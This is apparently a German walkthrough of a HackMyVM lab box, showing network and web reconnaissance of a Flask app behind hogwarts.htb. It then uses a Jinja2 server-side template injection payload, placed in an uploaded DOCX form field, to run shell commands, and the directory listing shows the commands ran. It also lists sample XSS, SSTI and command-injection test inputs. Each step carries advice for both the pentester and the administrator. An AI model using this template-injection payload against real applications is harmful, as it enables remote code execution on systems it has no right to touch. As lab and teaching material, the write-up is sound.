2245 X=$(./recon_script.sh jenk.nyx) 2246 echo $X :::::::::::::::::::::::::::::::::: ARP-Scan :::::::::::::::::::::::::::::::: Interface: eth0, type: EN10MB, MAC: 08:00:27:ee:49:a2, IPv4: 192.168.2.199 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.2.1 38:e1:f4:22:ac:ac (Unknown) 192.168.2.30 8c:98:06:22:c3:49 SHENZHEN SEI ROBOTICS CO.,LTD 192.168.2.31 bc:f8:7e:ac:41:00 (Unknown) 192.168.2.32 80:47:86:96:f6:3a Samsung Electronics Co.,Ltd 192.168.2.120 84:25:19:2f:66:32 Samsung Electronics 192.168.2.161 08:bf:b8:c1:fd:13 (Unknown) 192.168.2.175 08:00:27:b0:dd:16 PCS Systemtechnik GmbH ::::::::::::::::::::: /etc/hosts ::::::::::::::::::: 192.168.2.159 warzone1.vln 192.168.2.160 dc9.vln # 192.168.2.161 dc2.vln dc-2 192.168.2.162 buster.hmv # 192.168.2.163 dc1.vln 192.168.2.164 smol.hmv www.smol.hmv 192.168.2.165 plpl.hmv 192.168.2.167 jan.hmv # 192.168.2.166 dc6.vln wordy # 192.168.2.168 sick.vln # 192.168.2.169 sick.vln # 192.168.2.170 sick.vln 192.168.2.171 hero.hmv hero 192.168.2.172 up.hmv # 192.168.2.173 sick.vln # 192.168.2.174 sick.vln 192.168.2.175 magifi.hmv
Analyse: Dieser Block zeigt die Ausführung eines benutzerdefinierten Skripts namens `recon_script.sh`. Der Inhalt des Skripts ist nicht sichtbar, aber seine Ausgabe wird in der Variable `X` gespeichert und dann mit `echo $X` angezeigt. Die Ausgabe enthält:
Bewertung: Die Verwendung eines Skripts zur Automatisierung der initialen Reconnaissance ist effizient. `arp-scan` ist gut geeignet für die schnelle Host-Entdeckung im LAN. Die Überprüfung der `/etc/hosts`-Datei stellt sicher, dass der richtige Hostname für das Ziel verwendet wird. Die Ziel-IP und der Hostname sind nun klar: `192.168.2.175` (`magifi.hmv`).
Empfehlung (Pentester): Verwenden Sie die identifizierte IP-Adresse `192.168.2.175` (oder die Variable `$IP`, falls sie im Skript gesetzt wurde) für weitere Scans. Stellen Sie sicher, dass der Eintrag `192.168.2.175 magifi.hmv` in der `/etc/hosts`-Datei korrekt ist und nicht auskommentiert wurde.
Empfehlung (Admin): Standardempfehlungen für ARP-Scan (Netzwerk-Monitoring, Inventarliste). Stellen Sie sicher, dass die Namensauflösung im Netzwerk konsistent ist (idealerweise über einen zentralen DNS-Server).
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) 80/tcp open http Werkzeug/3.0.4 Python/3.8.10
Analyse: Dieser Nmap-Befehl scannt die Ziel-IP (`$IP` = 192.168.2.175).
-sS
: TCP SYN Scan (Stealth Scan).-sC
: Standard Skript-Scan.-sV
: Versionserkennung.-A
: Aktiviert OS-Erkennung, Versionserkennung, Skript-Scanning und Traceroute.-O
: Aktiviert OS-Erkennung (redundant zu -A, aber schadet nicht).-p-
: Scannt alle 65535 TCP-Ports.-Pn
: Überspringt die Host-Discovery (Ping-Scan) und geht davon aus, dass der Host online ist. Nützlich, wenn Hosts Ping-Anfragen blockieren.--min-rate 5000
: Sendet Pakete mit einer Mindestrate von 5000 Paketen pro Sekunde, um den Scan zu beschleunigen.| grep open
: Filtert die Ausgabe, um nur offene Ports anzuzeigen.Bewertung: Der Scan identifiziert erfolgreich die primären Angriffsvektoren: SSH und einen HTTP-Dienst, der von einer Python-Anwendung bereitgestellt wird. Die Verwendung von `-Pn` war hier notwendig, da der Host möglicherweise nicht auf Pings reagiert. Die hohe Rate (`--min-rate 5000`) beschleunigt den Scan erheblich, kann aber ungenau sein oder von IDS/IPS erkannt werden.
Empfehlung (Pentester): Untersuchen Sie den HTTP-Dienst auf Port 80 genauer (Web-Enumeration, Schwachstellen-Scan). Überprüfen Sie die SSH-Version auf bekannte Schwachstellen und bereiten Sie sich auf mögliche Brute-Force-Angriffe vor, falls Benutzernamen bekannt werden.
Empfehlung (Admin): Stellen Sie sicher, dass SSH sicher konfiguriert ist (aktuelle Version, Key-Authentifizierung bevorzugt, Passwort-Auth deaktivieren oder mit starken Passwörtern/Fail2Ban absichern). Überprüfen Sie die Sicherheit der Python-Webanwendung auf Port 80 und halten Sie verwendete Bibliotheken (wie Werkzeug) aktuell.
Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-02-12 21:07 CET Nmap scan report for magifi.hmv (192.168.2.175) Host is up (0.0013s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 0c:c6:d6:24:1e:5b:9e:66:25:0a:ba:0a:08:0b:18:40 (RSA) | 256 9c:c3:1d:ea:22:04:93:b7:81:dd:f2:96:5d:f0:1f:9b (ECDSA) |_ 256 55:41:15:90:ff:1d:53:88:e7:65:91:4f:fd:cf:49:85 (ED25519) 80/tcp open http Werkzeug/3.0.4 Python/3.8.10 |_http-server-header: Werkzeug/3.0.4 Python/3.8.10 |_http-title: Did not follow redirect to http://hogwarts.htb | fingerprint-strings: | GetRequest, HTTPOptions: | HTTP/1.1 302 FOUND | Server: Werkzeug/3.0.4 Python/3.8.10 | Date: Wed, 12 Feb 2025 20:07:41 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 225 | Location: http://hogwarts.htb | Connection: close 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at [Link: https://nmap.org/cgi-bin/submit.cgi?new-service | Ziel: https://nmap.org/cgi-bin/submit.cgi?new-service] : MAC Address: 08:00:27:B0:DD:16 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 1.30 ms magifi.hmv (192.168.2.175) OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/] . Nmap done: 1 IP address (1 host up) scanned in 92.30 seconds
Analyse: Dies ist die vollständige Ausgabe des vorherigen Nmap-Scans (ohne `| grep open`). Wichtige zusätzliche Details:
Bewertung: Der Scan liefert kritische Informationen. Die Weiterleitung auf `http://hogwarts.htb` ist der wichtigste neue Fund. Es bedeutet, dass die eigentliche Webanwendung unter diesem Hostnamen läuft und nicht direkt über die IP-Adresse oder `magifi.hmv` erreichbar ist. OpenSSH 8.2p1 ist nicht die neueste Version, hat aber bekannte Schwachstellen (wie später im Vuln-Scan gesehen).
Empfehlung (Pentester): Fügen Sie den Eintrag `192.168.2.175 hogwarts.htb` zur lokalen `/etc/hosts`-Datei hinzu. Starten Sie die Web-Enumeration (Nikto, Gobuster etc.) nun gegen `http://hogwarts.htb`. Untersuchen Sie die OpenSSH-Version 8.2p1 auf bekannte Exploits (z.B. CVE-2023-38408).
Empfehlung (Admin): Stellen Sie sicher, dass Weiterleitungen korrekt konfiguriert sind und nicht auf interne oder unerwartete Hosts verweisen. Aktualisieren Sie OpenSSH auf eine gepatchte Version. Überprüfen Sie die Notwendigkeit des Hostnamens `hogwarts.htb` und sichern Sie die darunter laufende Anwendung.
* Trying 192.168.2.175:80... * Connected to 192.168.2.175 (192.168.2.175) port 80 * using HTTP/1.x > HEAD / HTTP/1.1 > Host: 192.168.2.175 > User-Agent: curl/8.10.1 > Accept: */* > * Request completely sent off < HTTP/1.1 302 FOUND HTTP/1.1 302 FOUND < Server: Werkzeug/3.0.4 Python/3.8.10 Server: Werkzeug/3.0.4 Python/3.8.10 < Date: Wed, 12 Feb 2025 20:09:30 GMT Date: Wed, 12 Feb 2025 20:09:30 GMT < Content-Type: text/html; charset=utf-8 Content-Type: text/html; charset=utf-8 < Content-Length: 225 Content-Length: 225 < Location: http://hogwarts.htb Location: http://hogwarts.htb < Connection: close Connection: close < * shutting down connection #0
Analyse: Der Befehl `curl -Iv http://$IP` sendet eine HEAD-Anfrage (`-I`) an die IP-Adresse des Ziels und zeigt die Header der Antwort (`-v`). Die Ausgabe bestätigt die von Nmap festgestellte Weiterleitung: Der Server antwortet mit `HTTP/1.1 302 FOUND` und einem `Location`-Header, der auf `http://hogwarts.htb` verweist.
Bewertung: Dies bestätigt, dass der direkte Zugriff auf die IP-Adresse zu einer Weiterleitung führt. Die eigentliche Webanwendung muss über den Hostnamen `hogwarts.htb` angesprochen werden.
Empfehlung (Pentester): Stellen Sie sicher, dass `hogwarts.htb` in der `/etc/hosts`-Datei auf `192.168.2.175` verweist, und führen Sie alle weiteren Web-Scans gegen `http://hogwarts.htb` durch.
Empfehlung (Admin): Überprüfen Sie die Konfiguration des Webservers (z.B. Apache oder Nginx VHost-Konfiguration, oder die Python-Anwendung selbst), um sicherzustellen, dass diese Weiterleitung beabsichtigt ist und korrekt funktioniert.
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.175 + Target Hostname: 192.168.2.175 + Target Port: 80 + Start Time: 2025-02-12 21:09:31 (GMT1) --------------------------------------------------------------------------- + Server: Werkzeug/3.0.4 Python/3.8.10 + /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options] + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/] + Root page / redirects to: http://hogwarts.htb + No CGI Directories found (use '-C all' to force check all possible dirs) + Python/3.8.10 appears to be outdated (current is at least 3.9.6). + 8102 requests: 0 error(s) and 3 item(s) reported on remote host + End Time: 2025-02-12 21:10:10 (GMT1) (39 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Diese Ausgabe stammt von einem Nikto-Scan, der direkt gegen die IP-Adresse `192.168.2.175` ausgeführt wurde (ohne Angabe des Hostnamens `hogwarts.htb`). Wichtige Funde:
Bewertung: Der Scan gegen die IP-Adresse liefert aufgrund der Weiterleitung nur begrenzte Informationen über die eigentliche Anwendung. Die Hinweise auf fehlende Security Header und die veraltete Python-Version sind jedoch relevant. Python 3.8 ist das Ende seines Lebenszyklus nahe oder hat es bereits erreicht, was potenzielle Sicherheitsrisiken birgt.
Empfehlung (Pentester): Führen Sie Nikto erneut aus, diesmal gegen `http://hogwarts.htb` (`nikto -h http://hogwarts.htb`), um die eigentliche Anwendung zu scannen, nachdem der `/etc/hosts`-Eintrag gesetzt wurde. Berücksichtigen Sie die potenziell veraltete Python-Version bei der Suche nach Schwachstellen.
Empfehlung (Admin): Implementieren Sie die fehlenden Security Header (`X-Frame-Options`, `X-Content-Type-Options`). Planen Sie ein Upgrade der Python-Version auf eine aktuell unterstützte Version (z.B. 3.9+). Stellen Sie sicher, dass alle Abhängigkeiten der Anwendung (wie Werkzeug) ebenfalls aktuell sind.
[Keine Gobuster-Ausgabe gezeigt, außer dem späteren Hinweis auf /upload]
Analyse: Dieser Gobuster-Befehl versucht, Verzeichnisse und Dateien auf der IP-Adresse (`http://$IP`) zu bruteforcen. Die Optionen sind ähnlich wie zuvor (mittlere Wortliste, viele Erweiterungen), aber zusätzlich wird der Statuscode 403 ignoriert (`-b '503,404,403'`). Es wird keine direkte Ausgabe des Scans gezeigt, aber ein späterer Kommentar im Originaltext deutet darauf hin, dass bei einem Scan gegen `http://hogwarts.htb` der Pfad `/upload` mit Status 405 (Method Not Allowed) gefunden wurde.
Bewertung: Ein Gobuster-Scan direkt gegen die IP-Adresse ist aufgrund der Weiterleitung auf `hogwarts.htb` wahrscheinlich wenig effektiv. Der spätere Fund von `/upload` auf `hogwarts.htb` ist jedoch relevant. Ein Status 405 deutet darauf hin, dass der Pfad existiert, aber die verwendete HTTP-Methode (standardmäßig GET bei Gobuster `dir`) nicht erlaubt ist. Dies ist oft bei Endpunkten der Fall, die nur POST-Anfragen (z.B. für Uploads) akzeptieren.
Empfehlung (Pentester): Führen Sie Gobuster gegen `http://hogwarts.htb` aus. Wenn Pfade wie `/upload` mit 405 gefunden werden, testen Sie diese explizit mit anderen HTTP-Methoden (z.B. POST mit `curl -X POST` oder in Burp Suite).
Empfehlung (Admin): Stellen Sie sicher, dass Webserver und Anwendungen korrekte HTTP-Statuscodes zurückgeben. Beschränken Sie den Zugriff auf Endpunkte wie Upload-Pfade auf authentifizierte und autorisierte Benutzer.
http://hogwarts.htb/upload (Status: 405) [Size: 153]
Analyse: Dies ist die (vermutlich aus einem Gobuster-Scan gegen `http://hogwarts.htb` stammende) Information, dass der Pfad `/upload` existiert, aber auf GET-Anfragen mit dem Statuscode 405 (Method Not Allowed) antwortet.
Bewertung: Bestätigt die Existenz eines Upload-Endpunkts. Der 405-Status ist ein starker Hinweis darauf, dass hier POST-Anfragen erwartet werden, was typisch für Datei-Uploads ist.
Empfehlung (Pentester): Untersuchen Sie den `/upload`-Endpunkt manuell mit einem Browser oder Tools wie Burp Suite. Senden Sie eine POST-Anfrage, um zu sehen, ob ein Upload-Formular angezeigt wird oder wie der Endpunkt reagiert. Suchen Sie nach Hinweisen auf erlaubte Dateitypen oder Größenbeschränkungen.
Empfehlung (Admin): Sichern Sie den `/upload`-Endpunkt. Implementieren Sie Authentifizierung, Autorisierung und strikte Dateityp-/Größenvalidierung, wie zuvor bei Upload-Funktionen empfohlen.
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0) | vulners: | cpe:/a:openbsd:openssh:8.2p1: | 95499236-C9FE-56A6-9D7D-E943A24B633A 10.0 [Link: https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A | Ziel: https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A] *EXPLOIT* | 2C119FFA-ECE0-5E14-A4A4-354A2C38071A 10.0 [Link: https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A | Ziel: https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A] *EXPLOIT* | CVE-2023-38408 9.8 [Link: https://vulners.com/cve/CVE-2023-38408 | Ziel: https://vulners.com/cve/CVE-2023-38408] | B8190CDB-3EB9-5631-9828-8064A1575B23 9.8 [Link: https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23 | Ziel: https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23] *EXPLOIT* | 8FC9C5AB-3968-5F3C-825E-E8DB5379A623 9.8 [Link: https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623 | Ziel: https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623] *EXPLOIT* | 8AD01159-548E-546E-AA87-2DE89F3927EC 9.8 [Link: https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC | Ziel: https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC] *EXPLOIT* | 887EB570-27D3-11EE-ADBA-C80AA9043978 9.8 [Link: https://vulners.com/freebsd/887EB570-27D3-11EE-ADBA-C80AA9043978 | Ziel: https://vulners.com/freebsd/887EB570-27D3-11EE-ADBA-C80AA9043978] | 5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A 9.8 [Link: https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A | Ziel: https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A] *EXPLOIT* | 33D623F7-98E0-5F75-80FA-81AA666D1340 9.8 [Link: https://vulners.com/githubexploit/33D623F7-98E0-5F75-80FA-81AA666D1340 | Ziel: https://vulners.com/githubexploit/33D623F7-98E0-5F75-80FA-81AA666D1340] *EXPLOIT* | 0221525F-07F5-5790-912D-F4B9E2D1B587 9.8 [Link: https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587 | Ziel: https://vulners.com/githubexploit/0221525F-07F5-5790-912D-F4B9E2D1B587] *EXPLOIT* | PACKETSTORM:179290 8.1 [Link: https://vulners.com/packetstorm/PACKETSTORM:179290 | Ziel: https://vulners.com/packetstorm/PACKETSTORM:179290] *EXPLOIT* | FB2E9ED1-43D7-585C-A197-0D6628B20134 8.1 [Link: https://vulners.com/githubexploit/FB2E9ED1-43D7-585C-A197-0D6628B20134 | Ziel: https://vulners.com/githubexploit/FB2E9ED1-43D7-585C-A197-0D6628B20134] *EXPLOIT* | FA3992CE-9C4C-5350-8134-177126E0BD3F 8.1 [Link: https://vulners.com/githubexploit/FA3992CE-9C4C-5350-8134-177126E0BD3F | Ziel: https://vulners.com/githubexploit/FA3992CE-9C4C-5350-8134-177126E0BD3F] *EXPLOIT* | F8981437-1287-5B69-93F1-657DFB1DCE59 8.1 [Link: https://vulners.com/githubexploit/F8981437-1287-5B69-93F1-657DFB1DCE59 | Ziel: https://vulners.com/githubexploit/F8981437-1287-5B69-93F1-657DFB1DCE59] *EXPLOIT* | F58A5CB2-2174-586F-9CA9-4C47F8F38B5E 8.1 [Link: https://vulners.com/githubexploit/F58A5CB2-2174-586F-9CA9-4C47F8F38B5E | Ziel: https://vulners.com/githubexploit/F58A5CB2-2174-586F-9CA9-4C47F8F38B5E] *EXPLOIT* 80/tcp open http Werkzeug/3.0.4 Python/3.8.10 |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-server-header: Werkzeug/3.0.4 Python/3.8.10 |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | fingerprint-strings: | GetRequest, HTTPOptions: | HTTP/1.1 302 FOUND | Server: Werkzeug/3.0.4 Python/3.8.10 | Date: Wed, 12 Feb 2025 20:10:56 GMT | Content-Type: text/html; charset=utf-8 | Content-Length: 225 | Location: http://hogwarts.htb | Connection: close | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | http://ha.ckers.org/slowloris/ |_ [Link: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 | Ziel: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750] Starting Nmap 7.94SVN ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-02-12 21:10 CET Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable).
Analyse: Dieser Nmap-Scan ist mit `--script vuln` auf die **IP-Adresse 192.168.2.144** gerichtet, nicht auf das bisherige Ziel `192.168.2.175`. Es ist unklar, warum hier eine andere IP gescannt wird. Möglicherweise ein Fehler im Log oder ein paralleler Scan einer anderen Maschine. Die Ergebnisse für Port 22 (SSH) und Port 80 (HTTP) ähneln jedoch stark denen von `192.168.2.175`.
Bewertung: **Wichtige Schwachstellen identifiziert!** Auch wenn der Scan gegen eine potenziell falsche IP lief, sind die Ergebnisse (insbesondere wenn sie auch auf 192.168.2.175 zutreffen) sehr relevant:
Empfehlung (Pentester): Überprüfen Sie die SSH-Schwachstellen (insbesondere CVE-2023-38408) für OpenSSH 8.2p1 auf dem korrekten Ziel (`192.168.2.175`). Recherchieren und testen Sie die verfügbaren Exploits. Die Slowloris-Anfälligkeit kann für einen DoS-Angriff genutzt werden, was aber normalerweise nicht das primäre Ziel eines Penetrationstests ist, es sei denn, die Auswirkungen auf die Verfügbarkeit sollen demonstriert werden.
Empfehlung (Admin): **Aktualisieren Sie OpenSSH dringend** auf eine Version, die gegen CVE-2023-38408 und andere bekannte Schwachstellen gepatcht ist. Konfigurieren Sie den Webserver (Werkzeug/Apache/Nginx), um Slowloris-Angriffe zu mitigieren (z.B. durch Begrenzung der Verbindungen pro IP, Timeout-Anpassungen, Verwendung von Modulen wie `mod_reqtimeout` für Apache).
view-source:http://hogwarts.htb/
Analyse: Der Pentester beabsichtigt, den Quelltext der Hauptseite von `http://hogwarts.htb` anzusehen. Der Inhalt wird im nächsten Block gezeigt.
Bewertung: Das Untersuchen des HTML-Quellcodes ist ein grundlegender Schritt bei der Web-Enumeration, um versteckte Felder, Kommentare, Skript-Pfade oder Hinweise auf verwendete Technologien zu finden.
Empfehlung (Pentester): Analysieren Sie den Quellcode sorgfältig auf interessante Informationen, insbesondere auf Formulare, JavaScript-Dateien und Kommentare.
Empfehlung (Admin): Vermeiden Sie es, sensible Informationen (wie Kommentare mit Zugangsdaten, interne Pfade etc.) im HTML-Quellcode zu hinterlassen.
<!-- Add more professors as needed in the same format --> <h3>What You Will Learn at Hogwarts</h3> <ul> <li>Transfiguration: The art of changing the form or appearance of an object or being.</li> <li>Charms: The casting of spells that add specific properties to objects and creatures.</li> <li>Potions: The study of magical brews that can have a variety of effects, from healing to transformation.</li> <li>Herbology: The study of magical plants and fungi.</li> <li>Defense Against the Dark Arts: Learning to protect oneself from dark creatures, curses, and spells.</li> <li>Astronomy: The study of the stars, planets, and their magical influences.</li> <li>History of Magic: A look at the history of the magical world, from the earliest wizards to modern-day events.</li> <li>Divination: The mystical art of predicting the future.</li> <li>Care of Magical Creatures: Learning about the care, handling, and feeding of magical creatures.</li> </ul> Apply to Hogwarts hier ist ein upload Formular action="/upload" method="POST" enctype="multipart/form-data" <label for="pdf_file">Submit your application in PDF format:<br><br> href="/static/application-template.docx" download>Please, use our template </label><br><br>
Analyse: Dies ist ein relevanter Auszug aus dem HTML-Quellcode von `http://hogwarts.htb/`.
Bewertung: Dies bestätigt die Existenz einer Datei-Upload-Funktionalität unter `/upload`. Die Diskrepanz zwischen der Aufforderung (PDF) und der bereitgestellten Vorlage (DOCX) ist interessant, könnte aber einfach ein Fehler sein. Entscheidend ist, dass es eine Upload-Möglichkeit gibt.
Empfehlung (Pentester): Untersuchen Sie das Upload-Formular genauer. Welche Felder gibt es? Gibt es clientseitige Validierungen (die oft umgangen werden können)? Versuchen Sie, verschiedene Dateitypen hochzuladen (nicht nur PDF oder DOCX), insbesondere Skriptdateien (PHP, Python, Shell), um zu sehen, ob der Server diese akzeptiert und ob sie ausgeführt werden können. Analysieren Sie die Serverantwort nach dem Upload.
Empfehlung (Admin): Implementieren Sie serverseitig eine strikte Whitelist-Validierung für erlaubte Dateitypen und -inhalte bei Uploads. Speichern Sie hochgeladene Dateien sicher (außerhalb des Web-Roots oder ohne Ausführungsrechte) und benennen Sie sie um. Scannen Sie Uploads auf Malware.
------------------------------------------------------------------------- Apply to Hogwarts Submit your application in PDF format: Please, use our template [Durchsuchen] -------------------------------------------------------------------------
Analyse: Dies scheint eine textuelle Darstellung des Upload-Formulars zu sein, wie es im Browser angezeigt wird.
Bewertung: Bestätigt das Vorhandensein des Formulars und des Upload-Buttons ("Durchsuchen").
Empfehlung (Pentester): Interagieren Sie mit dem Formular, laden Sie Testdateien hoch und analysieren Sie die Anfragen/Antworten mit einem Proxy wie Burp Suite.
Empfehlung (Admin): Siehe vorherige Empfehlung zur Absicherung von Uploads.
[Link: https://xodo.com/docx-word-editor?step=edit-docx#app | Ziel: https://xodo.com/docx-word-editor?step=edit-docx#app]
Analyse: Ein Link zu einem Online-DOCX-Editor (xodo.com).
Bewertung: Dies ist wahrscheinlich eine Notiz des Pentesters, wie er die heruntergeladene DOCX-Vorlage bearbeiten kann. Es ist für den technischen Ablauf des Angriffs nicht direkt relevant.
Empfehlung (Pentester): Keine spezifische Aktion erforderlich. Bearbeiten Sie die Vorlage mit einem geeigneten Tool.
Empfehlung (Admin): Keine.
Application Letter to Hogwarts School of Witchcraft and Wizardry Dear Headmaster or Headmistress, I am writing to express my strong interest in applying for admission to Hogwarts School of Witchcraft and Wizardry. From a very young age, I have been fascinated by the magical world, and I believe that Hogwarts is the ideal place for me to develop my skills and knowledge in magic. I am eager to learn and grow under the guidance of the esteemed professors at your prestigious institution. Throughout my life, I have demonstrated qualities such as curiosity, perseverance, and a deep desire to learn. I am particularly interested in subjects such as Charms, Potions, and Defense Against the Dark Arts, and I am confident that Hogwarts will provide me with the perfect environment to explore these interests. I am excited about the opportunity to become a part of the rich tradition and community at Hogwarts, and I hope that my application will be considered for the upcoming academic year. I have enclosed all required documents and would be grateful for your consideration. Thank you for your time and consideration. I look forward to the possibility of joining Hogwarts and contributing to its legacy of excellence. Yours sincerely, Name: [Your Name] Surname: [Your Surname] Address: [Your Address] Birthday: [Your Birthday] Pet breed: [Your Pets Breed] Pet’s Name: [Your Pets Name] -------------------------------------------------------------------------
Analyse: Dies ist der Inhalt der heruntergeladenen DOCX-Vorlage (`application-template.docx`). Es ist ein Bewerbungsschreiben an Hogwarts mit Platzhaltern für persönliche Daten am Ende.
Bewertung: Die Vorlage selbst scheint harmlos. Interessant sind die Felder am Ende, die ausgefüllt werden müssen. Es ist möglich, dass die Anwendung diese Felder beim Verarbeiten des hochgeladenen Dokuments (auch wenn PDF gefordert war, wird vielleicht DOCX verarbeitet) ausliest und weiterverarbeitet. Solche Felder könnten potenzielle Injektionspunkte sein (z.B. für Cross-Site Scripting (XSS), Server-Side Template Injection (SSTI), oder sogar OS Command Injection, wenn die Daten unsicher verarbeitet werden).
Empfehlung (Pentester): Füllen Sie die Felder in der Vorlage nicht nur mit normalen Daten, sondern auch mit Test-Payloads für verschiedene Schwachstellen (z.B. `<script>alert(1)</script>` für XSS, `{{ 7*7 }}` für SSTI, `| ls` oder `; ls` für Command Injection). Speichern Sie die Datei (ggf. als PDF, wenn das Format serverseitig doch geprüft wird) und laden Sie sie über das Formular hoch. Beobachten Sie die Antwort und das Verhalten der Anwendung.
Empfehlung (Admin): Wenn Daten aus hochgeladenen Dokumenten (DOCX, PDF etc.) extrahiert und verarbeitet werden, müssen diese Daten genauso streng validiert und sanitisiert werden wie jede andere Benutzereingabe. Verwenden Sie sichere Bibliotheken zur Verarbeitung von Dokumenten und vermeiden Sie unsichere Funktionen.
SSTI Python Attack ssti github [Link: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection | Ziel: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection]
Analyse: Eine Notiz des Pentesters, die auf Server-Side Template Injection (SSTI) als potenziellen Angriffsvektor hinweist, insbesondere im Kontext von Python (da der Server Werkzeug/Python verwendet). Ein Link zu einer bekannten Payload-Sammlung auf GitHub wird angegeben.
Bewertung: SSTI ist eine kritische Schwachstelle, die oft zu Remote Code Execution führt. Wenn die Anwendung Benutzereingaben (wie die Felder aus dem DOCX-Template) in eine Template-Engine (wie Jinja2, die oft mit Flask/Werkzeug verwendet wird) einfügt, ohne sie korrekt zu escapen, kann ein Angreifer versuchen, Code innerhalb der Template-Syntax auszuführen.
Empfehlung (Pentester): Testen Sie die Felder im Upload-Dokument gezielt auf SSTI, wie im nächsten Block gezeigt.
Empfehlung (Admin): Stellen Sie sicher, dass alle Benutzereingaben, die in Templates gerendert werden, ordnungsgemäß kontextabhängig escaped werden. Verwenden Sie sichere Standardeinstellungen der Template-Engine und vermeiden Sie unsichere Konstrukte.
Name: [{{ self.__init__.__globals__.__builtins__.__import__("os").popen("chmod 777 ben.txt;mv ben.txt ben.sh; ls -la").read() }}]
Surname: [Your Surname]
Address: [Your Address]
Birthday: [Your Birthday]
Pet breed: [Your Pets Breed]
Pet’s Name: [ben]
-------------------------------------------------------------------------
Analyse: Dies zeigt einen konkreten SSTI-Payload, der in das "Name"-Feld der DOCX-Vorlage eingefügt wurde. Der Payload verwendet Jinja2-Syntax (`{{ ... }}`) und Python-Interna, um Betriebssystembefehle auszuführen:
self.__init__.__globals__
: Greift auf globale Variablen zu.__builtins__.__import__("os")
: Importiert das `os`-Modul.popen("...").read()
: Führt einen Shell-Befehl aus und liest dessen Ausgabe.Bewertung: Dies ist ein gezielter Versuch, eine SSTI-Schwachstelle auszunutzen, um Betriebssystembefehle auszuführen. Die Fähigkeit, das `os`-Modul zu importieren und `popen` aufzurufen, würde eine kritische Schwachstelle bestätigen und Remote Code Execution (RCE) ermöglichen.
Empfehlung (Pentester): Laden Sie das modifizierte Dokument hoch und analysieren Sie die Antwort der Anwendung. Wenn der `ls -la`-Befehl erfolgreich ausgeführt wird und seine Ausgabe im gerenderten Ergebnis (z.B. auf einer Bestätigungsseite) erscheint, ist die SSTI-Schwachstelle bestätigt und RCE möglich.
Empfehlung (Admin): **Dringend beheben!** Validieren und escapen Sie alle Benutzereingaben, die in Templates verwendet werden. Aktualisieren Sie die Template-Engine und das Web-Framework auf die neuesten Versionen. Führen Sie einen Code-Audit durch, um alle Vorkommen von unsicherer Template-Verarbeitung zu finden.
Name: [total 32
drwxr-xr-x 5 harry_potter harry_potter 4096 Feb 12 23:47 .
drwxr-xr-x 3 harry_potter harry_potter 4096 Feb 4 10:04 ..
-rw-r--r-- 1 harry_potter harry_potter 5875 Sep 26 18:42 app.py
-rw-r--r-- 1 harry_potter harry_potter 61 Feb 12 23:45 ben.sh
drwxr-xr-x 3 harry_potter harry_potter 4096 Sep 25 13:58 static
drwxr-xr-x 2 harry_potter harry_potter 4096 Sep 27 08:56 templates
